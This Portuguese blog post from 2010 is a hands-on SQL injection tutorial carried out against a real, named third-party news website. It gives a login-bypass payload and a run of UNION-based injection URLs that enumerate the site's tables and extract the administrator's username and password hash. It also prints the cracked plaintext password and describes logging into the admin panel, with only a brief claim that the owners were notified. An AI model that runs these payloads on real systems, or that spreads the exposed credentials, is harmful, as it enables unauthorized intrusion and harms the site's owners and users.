quinta-feira, 23 de dezembro de 2010

SQL Injection na prática

Neste post vou falar sobre um ataque muito conhecido e usado para burlar sistemas Web que utiliza como back-end um banco de dados, estou falando do Sql Injection. A idéia é ser bem direto e sem rodeios, mostrando como o ataque funciona e como você pode usá-lo para burlar sistemas web. Quanto mais você ler sobre o assunto melhor, por isso, não limite-se apenas neste post, faça uma busca pelo google e você vai ver que não faltará material para estudar.


Mas o que é SQL Injection?

Segundo o projet OWASP em 2010 de 10 o primeiro risco de segurança mais visado é o Injection. Hoje é uma das principais técnicas usada para burlar sistemas web, permitindo que um atacante possa obter informações confidenciais de um sistema, como número cartão de crédito, senhas de usuários, CPF etc. Este ataque não permite apenas roubar os dados de um servidor, mas também modificar e apagar. Este ataque acontece quando a página web aceita dados de entrada fornecidos pelo usuário, esses dados são repassados para a base de dados com algum propósito especifico. O problema é que se esses dados de entrada não forem filtrados devidamente eles podem ser manipulados de forma a burla a base de dados.


Exemplo básico de injection


Segue abaixe um formulário básico em HTML onde o usuário tem que entrar com o nome de usuário e senha:


           form method="post" action="process_login.php"
        input type="text" name="username"
        input type="password" name="password"
        
Acima temos dois campos de INPUT que devem ser fornecidos pelo usuário, em seguida o script “process_login.php” construira a seguinte query para consultar a base de dados:

        "SELECT id
        FROM    logins
        WHERE   username = '$username'
        and     password = '$password'";
Imagine que usuário tenha entrado com o nome de usuário “bob” ($username) e como senha o valor abaixo:
        ' or '' = '
Agora vamos ver como isso ficaria na query que será enviada a base de dados:
        "SELECT id
        FROM    logins
        WHERE   username = 'bob'
        and     password = '' or '' = ''";
O valor enviado no campo password ('' = '') é sempre uma verdade (true), com isso estamos burlando a query e fornecendo uma informação a base que é considerada verdadeira, sendo assim, a senha será aceita pela base como sendo autentica.
Uma boa leitura para os interessados em SQL INJECTION seria o projeto OWASP.

Como detectar se um site é vulnerável?

Um ótimo site para você estudar tudo sobre Injection seria o projeto OWASP. Neste post do projeto, chamado “Testing for SQL Injection” você encontra detalhes de como proceder para testar se um site é vulnerável.
O teste que iremos realizar logo abaixo não será em um cenário virtual, peguei este site em uma lista de discussão sobre possíveis sites vulneráveis a ataques de injection, se você sabe do assunto testa e posta no forum o que descobriu, é mais ou menos assim que funciona. Particularmente não sou a favor de postar e sim avisar o site vulnerável, por isso não postarei no fórum, mas estou postando aqui no blog, porém antes estarei notificando os responsáveis pelo site. Pode ser que quando você testar a falha já tenha sido corrigida.
Uma maneira bem simples de realizar este teste seria inserir ( ' ) no final da url para vermos se retorna algum erro do banco. Veja a figura abaixo:


 Algumas formas de error seria como mostra a figura acima, isso pode variar muito conforme o banco de dados, em alguns casos a tela pode ficar apenas em branco sem mensagem alguma de erro. A verdade é que quanto mais você estudar e testar você vai aprender sobre o assunto. Fazer Injection depende muito do tipo de banco que esta sendo usado, um método de ataque não serve para todo e qualquer tipo de banco.
Já sabemos que este site é vulnerável. Agora vamos ver quantas colunas usando a string “ORDER BY” na url.
Basicamente depois do valor da variável, no nosso caso é o número "85", colocamos assim:
id=85 order by 1,2--   ou   id=85 order by 2--
1,2 = coreesponde a 2 colunas
Se tiver duas ou mais colunas nenhuma mensagem de erro será mostrado, neste caso você continua aumentando o número até aparecer um erro:
id=85 order by 1,2,3,4,5--
Quando você chegar em um ponto onde o banco retornou algum erro isso significa que o número de colunas é o último valor que você usou em que não deu erro algum. Neste caso descobrir que são 8 colunas porque quando coloquei "id=85 order by 9--" o banco retornou um erro e quando coloquei 8-- não houve erro algum. Veja as figuras abaixo:


Vamos agora usar a função "UNION" que nos permite reunir mais dados em um único statement, com este comando esperamos que alguns números apareçam na tela, isso significa que ali seria o local onde deveria aparecer algum valor que esta registrado na base. Estes números são a coluna do banco. Veja o resultado abaixo:


Onde você esta vendo os números 3, 4 e 5 são as colunas do banco onde deveria aparecer as informações gravadas nessas colunas, vamos usar estas colunas para extrair informações de nosso interesse. Primeiramente vamos ver qual a base de dados que esta sendo usado, para isso podemos usar @@version ou version() e substitui por um dos números da figura acima, vamos usar a mesma URL acima, veja a figura abaixo:


Veja que na URL acima onde estava o número "3" coloquei "version()" e como resultado apareceu a versão do banco de dados onde esta sendo mostrado anteriormente o número 3. Agora sabemos que estamos diante de um MySQL 5.0.91-community, podemos focar nosso ataque para este tipo de banco, como dito antes cada banco existe um método adequado, isso acontece porque eles foram desenvolvidos para trabalhar com comandos especificos. Vamos ver agora as tabelas e se tiver alguma tabela que nos interesse vamos ver se descobrimos as colunas, para depois extrair as informações necessárias. Veja abaixo como podemos fazer para ver as tabelas do banco:


Como estamos tentando descobrir algum username e password a última tabela de nome "usuarios" seria um bom ponto de partida. Abaixo segue a url usada acima:
id=85%20union%20all%20select%201,2,group_concat(table_name),4,5,6,7,8%20from%20information_schema.tables%20where%201=1--

Poderíamos ter usado também o comando abaixo para ver as tabelas do banco:
http://www.fuendetodos.org/noticias/noticias.php?id=85%20union%20all%20select%201,2,table_name,table_name,table_name,6,7,8%20from%20information_schema.tables%20limit%204,4--
Neste cado mude o último valor: 4,4-- para 5,5-- e assim por diante e as tabelas vão aparecendo na tela.
Para conseguir as colunas podemos usar o mesmo método apenas mudando table_name para column_name e information_schema.tables para information_schema.columns.
Já encontramos a tabela "usuarios", que tal vermos as colunas desta tabela ou quem sabe fazer uma busca por todas as colunas desta base? Para isso use a url abaixo:
id=85%20union%20all%20select%201,2,group_concat(column_name),4,5,6,7,8%20from%20information_schema.columns%20where%20table_schema=database()--
Veja que na saída vai aparecer o nome de várias colunas, e mais uma vez encontramos duas que nos interessa que se chama "usuario" e "clave". Então temos uma tabela com nome "usuarios" e uma coluna chamada "usuario". Vamos usar essas informações para extrair alguma informação interessante. Vamos ver se descobrimos o nome de algum usuário, abaixo segue a URL e a figura:
http://www.fuendetodos.org/noticias/noticias.php?id=85%20union%20all%20select%201,2,usuario,4,5,6,7,8%20from%20usuarios%20limit%201,1--


Pronto temos nosso primeiro usuário, chamado “fuende” que foi extraído da tabela “usuarios” e coluna “usuario”. Vamos ver se achamos alguma senha na coluna “clave”. Para isso execute a URL abaixo:
http://www.fuendetodos.org/noticias/noticias.php?id=85%20union%20all%20select%201,2,clave,4,5,6,7,8%20from%20usuarios%20limit%201,1--
Veja o resultado:

Temos a senha do usuário “fuende”, porém esta em MD5. Toda vez que você extrai uma senha de uma base de dados se ela não estiver em texto plano irar aparecer encriptada com MD5, SHA1 ou MYSQL.
Você pode usar também o comando abaixo para extrair o nome do usuário com a sua respectiva senha:
http://www.fuendetodos.org/noticias/noticias.php?id=85%20union%20all%20select%201,2,concat(usuario,0x3a,clave),4,5,6,7,8%20from%20usuarios%20limit%201,1--
O valor “0x3a” que esta em hexa equivale a “:”. Neste caso como resultado vai aparecer:
fuende:2d4a35197763ebee2309fb0015b7fad2
Um site muito bom para quebrar MD5 seria: http://www.md5decrypter.co.uk/
Veja a figura abaixo com o resultado:


Veja que já temos a senha “Fli24vvc”.
Entenda uma coisa o usuário “fuende” é o administrador da base, para descobrir se a base tem outro administrador mude apenas o final da URL abaixo de 1,1-- para 2,2-- e assim por diante, veja a URL abaixo:
http://www.fuendetodos.org/noticias/noticias.php?id=85%20union%20all%20select%201,2,usuario,4,5,6,7,8%20from%20usuarios%20limit%201,1--
Bom, já temos o usuário e a senha. Precisamos encontrar alguma área administrativa onde possamos entrar com o username e password, para isso existem programas específicos. Como esses programas funcionam? Simples eles pegam uma url, no nosso caso www.fuendetodos.org, e acrescenta no final valores como: /admin, /adm, /phpadmin etc. Neste caso tive sorte resolvi chutar, coloquei o valor /admin e obtive o resultado abaixo:


Vamos tentar o nosso usuário e senha? Pronto estamos logado como administrador, veja a figura abaixo:


Por favor, não mude nada, não sou a favor deste tipo de atitude. Este post tem apenas o interesse em enriquecer seus conhecimentos. Já notifiquei aos responsáveis pela falha e pela descoberta da senha.

by Osvaldo H Peixoto


Um comentário: